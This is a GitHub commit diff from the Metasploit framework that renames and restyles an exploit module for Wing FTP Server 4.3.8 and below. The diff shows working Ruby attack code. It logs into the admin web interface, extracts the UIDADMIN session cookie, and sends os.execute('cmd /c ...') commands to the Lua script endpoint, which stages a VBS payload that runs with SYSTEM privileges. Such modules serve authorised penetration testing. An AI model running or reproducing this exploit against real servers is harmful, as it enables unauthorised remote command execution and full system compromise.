Skip to content

Commit 8095b48

Browse files
committed
Rename and apply rubocop style to wing_ftp_admin_exec
1 parent 02bbd53 commit 8095b48

File tree

1 file changed

+17
-21
lines changed

1 file changed

+17
-21
lines changed

modules/exploits/windows/ftp/wing_ftp_server_rce.rb renamed to modules/exploits/windows/ftp/wing_ftp_admin_exec.rb

Lines changed: 17 additions & 21 deletions
Original file line numberDiff line numberDiff line change
@@ -11,16 +11,16 @@ class Metasploit3 < Msf::Exploit::Remote
1111

1212
def initialize(info = {})
1313
super(update_info(info,
14-
'Name' => 'Wing FTP Server Remote Command Execution',
14+
'Name' => 'Wing FTP Server Authenticated Command Execution',
1515
'Description' => %q{
16-
This module exploits the embedded Lua interpreter in the admin interface for
16+
This module exploits the embedded Lua interpreter in the admin web interface for
1717
versions 4.3.8 and below. When supplying a specially crafted HTTP POST request
1818
an attacker can use os.execute() to execute arbitrary system commands on
1919
the target with SYSTEM privileges.
2020
},
2121
'Author' =>
2222
[
23-
'Nicholas Nam <nick[at]executionflow.org>',
23+
'Nicholas Nam <nick[at]executionflow.org>'
2424
],
2525
'License' => MSF_LICENSE,
2626
'References' =>
@@ -57,13 +57,13 @@ def check
5757

5858
if !res
5959
fail_with(Failure::Unreachable, "#{peer} - Admin login page was unreachable.")
60-
elsif res.code != 200
60+
elsif res.code != 200
6161
fail_with(Failure::NotFound, "#{peer} - Admin login page was not found.")
62-
elsif res.body =~ /Wing FTP Server Administrator/ and res.body =~ /2003-2014 <b>wftpserver.com<\/b>/
62+
elsif res.body =~ /Wing FTP Server Administrator/ && res.body =~ /2003-2014 <b>wftpserver.com<\/b>/
6363
return Exploit::CheckCode::Appears
6464
end
6565

66-
return Exploit::CheckCode::Safe
66+
Exploit::CheckCode::Safe
6767
end
6868

6969
def exploit
@@ -73,27 +73,27 @@ def exploit
7373

7474
print_status("#{peer} - Sending payload")
7575
# Execute the cmdstager, max length of the commands is ~1500
76-
execute_cmdstager({:flavor => :vbs, :linemax => 1500})
76+
execute_cmdstager(flavor: :vbs, linemax: 1500)
7777
end
7878

79-
def execute_command(cmd, opts = {})
79+
def execute_command(cmd, _opts = {})
8080
command = "os.execute('cmd /c #{cmd}')"
8181

82-
res = send_request_cgi({
82+
res = send_request_cgi(
8383
'uri' => '/admin_lua_script.html',
8484
'method' => 'POST',
8585
'cookie' => @session_cookie,
8686
'vars_post' => { 'command' => command }
87-
})
87+
)
8888

89-
if res and res.code != 200
89+
if res && res.code != 200
9090
fail_with(Failure::Unkown, "#{peer} - Something went wrong.")
9191
end
9292
end
9393

9494
def authenticate(username, password)
9595
print_status("#{peer} - Authenticating")
96-
res = send_request_cgi({
96+
res = send_request_cgi(
9797
'uri' => '/admin_loginok.html',
9898
'method' => 'POST',
9999
'vars_post' => {
@@ -103,25 +103,21 @@ def authenticate(username, password)
103103
'password_val' => password,
104104
'submit_btn' => '+Login+'
105105
}
106-
})
106+
)
107107

108108
uidadmin = ''
109-
if !res
109+
if !res
110110
fail_with(Failure::Unreachable, "#{peer} - Admin login page was unreachable.")
111-
elsif res.code == 200 and res.body =~ /location='main.html\?lang=english';/
111+
elsif res.code == 200 && res.body =~ /location='main.html\?lang=english';/
112112
res.get_cookies.split(';').each do |cookie|
113113
cookie.split(',').each do |value|
114-
if value.split('=')[0] =~ /UIDADMIN/
115-
uidadmin = value.split('=')[1]
116-
end
114+
uidadmin = value.split('=')[1] if value.split('=')[0] =~ /UIDADMIN/
117115
end
118116
end
119117
else
120118
fail_with(Failure::NoAccess, "#{peer} - Authentication failed")
121119
end
122120

123-
return "UIDADMIN=#{uidadmin}"
121+
"UIDADMIN=#{uidadmin}"
124122
end
125-
126123
end
127-

0 commit comments

Comments
 (0)